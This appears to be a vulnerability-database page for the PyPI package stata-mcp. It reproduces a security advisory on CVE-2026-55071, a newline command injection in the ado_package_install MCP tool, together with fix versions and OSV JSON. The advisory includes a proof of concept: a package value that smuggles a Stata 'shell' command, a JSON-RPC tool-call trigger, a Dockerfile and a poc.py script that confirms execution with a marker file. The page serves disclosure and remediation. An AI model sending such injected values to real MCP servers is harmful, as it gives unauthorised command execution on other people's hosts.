Vulnerabilities in pkg:pypi/stata-mcp

PACKAGE
Advisory Identifier: GHSA-49m4-vp58-wgc9
Advisory Summary

CVE-2026-55071 is a HIGH (CVSS 8.4) stata command injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting MCP-for-Stata libraries in the PyPI ecosystem. The issue involves stata command injection via unsanitized `package` in `ado_package_install`. Remediation is available by upgrading affected packages to version 1.19.0.

3 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/stata-mcp

3 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/stata-mcp. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-49m4-vp58-wgc9 CVE-2026-55071 HIGH MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
GHSA-4p62-hqp5-g644 CVE-2026-47708 CRITICAL MCP-for-Stata: Command injection via log_file_name parameter in Stata command wrapper
GHSA-jpcj-7wfg-mqxv CVE-2026-31040 HIGH stata-mcp has insufficient validation of user-supplied Stata do-file content that can lead to command execution

CVE-2026-55071 at a Glance

CVE Identifier CVE-2026-55071
GHSA Identifier GHSA-49m4-vp58-wgc9
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product MCP-for-Stata
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55071

To remediate this vulnerability, upgrade all affected MCP-for-Stata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

stata-mcp fixed: 1.19.0
pip install stata-mcp>=1.19.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show stata-mcp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55071, inspect your installed packages using pip:

pip show stata-mcp

Analyze the terminal output to locate any version of MCP-for-Stata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.0), your application is affected.

Note: The pip show stata-mcp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In MCP-for-Stata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Stata Command Injection via Unsanitized `package` in `ado_package_install` ### Summary The `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**. ### Details The vulnerability originates in `SSC_Install.install()`: ```python # src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16 def install(self, package: str) -> str: install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" runner_result = self.controller.run(install_command) ``` The `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim: ```python # src/stata_mcp/stata/stata_controller/controller.py:98-99 # Send the command self.child.sendline(command) ``` `pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution. The full source-to-sink data flow is: 1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile. 2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled. 3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation. 4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`. 5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata. A guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack. ### PoC **Prerequisites** - Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command. **Container-based reproduction (no Stata license required)** ```bash # Build (run from the repository root) docker build -t stata-mcp-poc-001 \ -f vuln-001/Dockerfile \ reports/pypiAi_828_SepineTam__stata-mcp/ # Run docker run --rm stata-mcp-poc-001 ``` **Direct Python trigger (unmodified source)** ```python import os from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install MARKER = "/tmp/stata_mcp_ado_poc" PAYLOAD = f"outreg2\nshell touch {MARKER}\n//" installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10) installer.install(PAYLOAD) assert os.path.exists(MARKER), "RCE not confirmed" print("RCE CONFIRMED — marker file created") ``` The payload `"outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//"` is expanded by the f-string at `ssc_install.py:15` into: ``` ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace ``` Stata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error. **MCP JSON-RPC trigger** ```json { "tool": "ado_package_install", "arguments": { "source": "ssc", "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//", "is_replace": true } } ``` **Expected output** ``` [+] PASS - RCE CONFIRMED [+] Marker file exists: /tmp/stata_mcp_ado_poc [+] The injected Stata 'shell' command was executed by the REPL. ``` Phase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command: ``` Installation State: False ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace ``` ### Impact This is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server. Because the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted. Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001 dynamic reproduction # Build context must be the parent directory: # docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile . # # Vulnerability: Stata Command Injection via unsanitized `package` in # SSC_Install.install() (ssc_install.py:15). # # Strategy: replace the real Stata binary with a minimal Python script # (fake_stata.py) that honours the 'shell <cmd>' Stata command. # The vulnerable stata-mcp code is installed unmodified from the repo. FROM python:3.11-slim # Install pexpect -- the only runtime dependency required by the PoC # (StataController imports pexpect; all other imports are stdlib-only). RUN pip install --no-cache-dir pexpect==4.9.0 # ------------------------------------------------------------------ # Fake Stata binary # ------------------------------------------------------------------ # Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover # it and the PoC can reference it by absolute path. COPY vuln-001/fake_stata.py /usr/local/bin/stata RUN chmod +x /usr/local/bin/stata # ------------------------------------------------------------------ # Vulnerable package (unmodified source) # ------------------------------------------------------------------ COPY repo/src /workspace/src ENV PYTHONPATH=/workspace/src # ------------------------------------------------------------------ # PoC script # ------------------------------------------------------------------ COPY vuln-001/poc.py /workspace/poc.py WORKDIR /workspace CMD ["python3", "/workspace/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Stata Command Injection via unsanitized `package` in `ado_package_install` (SSC path). Vulnerable code: ssc_install.py:15 install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" controller.py:99 self.child.sendline(command) Attack: embed a newline in `package` to inject an additional Stata command. package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//" The constructed command string becomes: ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace pexpect delivers this multi-line string verbatim to the Stata REPL via sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc', which runs the OS command 'touch /tmp/stata_mcp_ado_poc'. Marker file creation confirms RCE. """ import os import sys FAKE_STATA = "/usr/local/bin/stata" MARKER_FILE = "/tmp/stata_mcp_ado_poc" # Payload: legit package name, then injected shell command, then comment to # neutralise the ", replace" suffix appended by REPLACE_MESSAGE. PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//" def main() -> int: print("=" * 60) print("VULN-001 PoC: Stata Command Injection via ado_package_install") print("=" * 60) print(f"[*] Fake Stata binary : {FAKE_STATA}") print(f"[*] Marker file : {MARKER_FILE}") print(f"[*] Payload (repr) : {PAYLOAD!r}") print() # Clean up any previous run. if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) print(f"[*] Removed pre-existing marker file.") # Import the vulnerable class directly -- no MCP or config layer needed. # The vulnerability lives entirely in SSC_Install.install() and the # StataController that sends the command to the Stata REPL. from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install print("[*] Instantiating SSC_Install with fake Stata binary...") installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10) print(f"[*] Calling install({PAYLOAD!r}) ...") try: result = installer.install(PAYLOAD) print(f"[*] install() returned: {result[:200]!r}") except Exception as exc: # A RuntimeError from StataController is acceptable; the shell command # may have already executed before the error is detected. print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}") print() # --- Verdict --- if os.path.exists(MARKER_FILE): print("[+] PASS - RCE CONFIRMED") print(f"[+] Marker file exists: {MARKER_FILE}") print("[+] The injected Stata 'shell' command was executed by the REPL.") print("[+] Constructed command delivered via sendline():") print("[+] ssc install outreg2") print(f"[+] shell touch {MARKER_FILE} <-- OS command executed here") print("[+] //") return 0 else: print("[-] FAIL - Marker file not found.") print("[-] The injected shell command did not produce the expected artefact.") return 1 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-55071 Affected MCP-for-Stata Versions

1 component(s)
Fixed Versions:
1.19.0
Product / Package Ecosystem Affected Versions Fixed Version
stata-mcp
PyPI
< 1.19.0
1.19.0

References

Frequently Asked Questions

What is CVE-2026-55071?
CVE-2026-55071 is a security vulnerability in MCP-for-Stata involving Stata Command Injection via Unsanitized `package` in `ado_package_install` under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which MCP-for-Stata versions are affected?
Affected versions include releases prior to 1.19.0 across affected packages: stata-mcp.
What version fixes CVE-2026-55071?
Upgrading to 1.19.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is stata-mcp affected?
Yes, stata-mcp is affected in releases prior to 1.19.0. Upgrade your dependency to 1.19.0 or later.
What is the CVSS score of CVE-2026-55071?
CVE-2026-55071 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55071?
CVE-2026-55071 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-55071?
Run the dependency tree command: 'pip show stata-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-49m4-vp58-wgc9",
  "modified" : "2026-08-12T19:23:38Z",
  "published" : "2026-08-12T19:23:38Z",
  "aliases" : [ "CVE-2026-55071" ],
  "summary" : "MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`",
  "details" : "## Stata Command Injection via Unsanitized `package` in `ado_package_install`\n\n### Summary\n\nThe `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**.\n\n### Details\n\nThe vulnerability originates in `SSC_Install.install()`:\n\n```python\n# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16\ndef install(self, package: str) -> str:\n    install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n    runner_result = self.controller.run(install_command)\n```\n\nThe `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:\n\n```python\n# src/stata_mcp/stata/stata_controller/controller.py:98-99\n# Send the command\nself.child.sendline(command)\n```\n\n`pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution.\n\nThe full source-to-sink data flow is:\n\n1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile.\n2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled.\n3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation.\n4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`.\n5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata.\n\nA guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.\n\n### PoC\n\n**Prerequisites**\n\n- Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command.\n\n**Container-based reproduction (no Stata license required)**\n\n```bash\n# Build (run from the repository root)\ndocker build -t stata-mcp-poc-001 \\\n    -f vuln-001/Dockerfile \\\n    reports/pypiAi_828_SepineTam__stata-mcp/\n\n# Run\ndocker run --rm stata-mcp-poc-001\n```\n\n**Direct Python trigger (unmodified source)**\n\n```python\nimport os\nfrom stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\nMARKER = \"/tmp/stata_mcp_ado_poc\"\nPAYLOAD = f\"outreg2\\nshell touch {MARKER}\\n//\"\n\ninstaller = SSC_Install(\"/usr/local/bin/stata\", is_replace=True, timeout=10)\ninstaller.install(PAYLOAD)\n\nassert os.path.exists(MARKER), \"RCE not confirmed\"\nprint(\"RCE CONFIRMED — marker file created\")\n```\n\nThe payload `\"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\"` is expanded by the f-string at `ssc_install.py:15` into:\n\n```\nssc install outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//, replace\n```\n\nStata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error.\n\n**MCP JSON-RPC trigger**\n\n```json\n{\n  \"tool\": \"ado_package_install\",\n  \"arguments\": {\n    \"source\": \"ssc\",\n    \"package\": \"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\",\n    \"is_replace\": true\n  }\n}\n```\n\n**Expected output**\n\n```\n[+] PASS - RCE CONFIRMED\n[+] Marker file exists: /tmp/stata_mcp_ado_poc\n[+] The injected Stata 'shell' command was executed by the REPL.\n```\n\nPhase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command:\n\n```\nInstallation State: False\nssc install outreg2\\r\\nshell touch /tmp/stata_mcp_ado_poc\\r\\n//, replace\n```\n\n### Impact\n\nThis is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.\n\nBecause the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted.\n\nConcrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Build context must be the parent directory:\n#   docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .\n#\n# Vulnerability: Stata Command Injection via unsanitized `package` in\n#   SSC_Install.install() (ssc_install.py:15).\n#\n# Strategy: replace the real Stata binary with a minimal Python script\n#   (fake_stata.py) that honours the 'shell <cmd>' Stata command.\n#   The vulnerable stata-mcp code is installed unmodified from the repo.\n\nFROM python:3.11-slim\n\n# Install pexpect -- the only runtime dependency required by the PoC\n# (StataController imports pexpect; all other imports are stdlib-only).\nRUN pip install --no-cache-dir pexpect==4.9.0\n\n# ------------------------------------------------------------------\n# Fake Stata binary\n# ------------------------------------------------------------------\n# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover\n# it and the PoC can reference it by absolute path.\nCOPY vuln-001/fake_stata.py /usr/local/bin/stata\nRUN chmod +x /usr/local/bin/stata\n\n# ------------------------------------------------------------------\n# Vulnerable package (unmodified source)\n# ------------------------------------------------------------------\nCOPY repo/src /workspace/src\nENV PYTHONPATH=/workspace/src\n\n# ------------------------------------------------------------------\n# PoC script\n# ------------------------------------------------------------------\nCOPY vuln-001/poc.py /workspace/poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/workspace/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Stata Command Injection via unsanitized `package` in\n`ado_package_install` (SSC path).\n\nVulnerable code:\n    ssc_install.py:15\n        install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n    controller.py:99\n        self.child.sendline(command)\n\nAttack: embed a newline in `package` to inject an additional Stata command.\n    package = \"outreg2\\\\nshell touch /tmp/stata_mcp_ado_poc\\\\n//\"\n\nThe constructed command string becomes:\n    ssc install outreg2\n    shell touch /tmp/stata_mcp_ado_poc\n    //, replace\n\npexpect delivers this multi-line string verbatim to the Stata REPL via\nsendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',\nwhich runs the OS command 'touch /tmp/stata_mcp_ado_poc'.\n\nMarker file creation confirms RCE.\n\"\"\"\nimport os\nimport sys\n\nFAKE_STATA = \"/usr/local/bin/stata\"\nMARKER_FILE = \"/tmp/stata_mcp_ado_poc\"\n# Payload: legit package name, then injected shell command, then comment to\n# neutralise the \", replace\" suffix appended by REPLACE_MESSAGE.\nPAYLOAD = f\"outreg2\\nshell touch {MARKER_FILE}\\n//\"\n\n\ndef main() -> int:\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Stata Command Injection via ado_package_install\")\n    print(\"=\" * 60)\n    print(f\"[*] Fake Stata binary : {FAKE_STATA}\")\n    print(f\"[*] Marker file       : {MARKER_FILE}\")\n    print(f\"[*] Payload (repr)    : {PAYLOAD!r}\")\n    print()\n\n    # Clean up any previous run.\n    if os.path.exists(MARKER_FILE):\n        os.remove(MARKER_FILE)\n        print(f\"[*] Removed pre-existing marker file.\")\n\n    # Import the vulnerable class directly -- no MCP or config layer needed.\n    # The vulnerability lives entirely in SSC_Install.install() and the\n    # StataController that sends the command to the Stata REPL.\n    from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\n    print(\"[*] Instantiating SSC_Install with fake Stata binary...\")\n    installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)\n\n    print(f\"[*] Calling install({PAYLOAD!r}) ...\")\n    try:\n        result = installer.install(PAYLOAD)\n        print(f\"[*] install() returned: {result[:200]!r}\")\n    except Exception as exc:\n        # A RuntimeError from StataController is acceptable; the shell command\n        # may have already executed before the error is detected.\n        print(f\"[!] install() raised (may be expected): {type(exc).__name__}: {exc}\")\n\n    print()\n\n    # --- Verdict ---\n    if os.path.exists(MARKER_FILE):\n        print(\"[+] PASS - RCE CONFIRMED\")\n        print(f\"[+] Marker file exists: {MARKER_FILE}\")\n        print(\"[+] The injected Stata 'shell' command was executed by the REPL.\")\n        print(\"[+] Constructed command delivered via sendline():\")\n        print(\"[+]   ssc install outreg2\")\n        print(f\"[+]   shell touch {MARKER_FILE}  <-- OS command executed here\")\n        print(\"[+]   //\")\n        return 0\n    else:\n        print(\"[-] FAIL - Marker file not found.\")\n        print(\"[-] The injected shell command did not produce the expected artefact.\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "stata-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.19.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SepineTam/mcp-for-stata"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-12T19:23:38Z",
    "nvd_published_at" : null
  }
}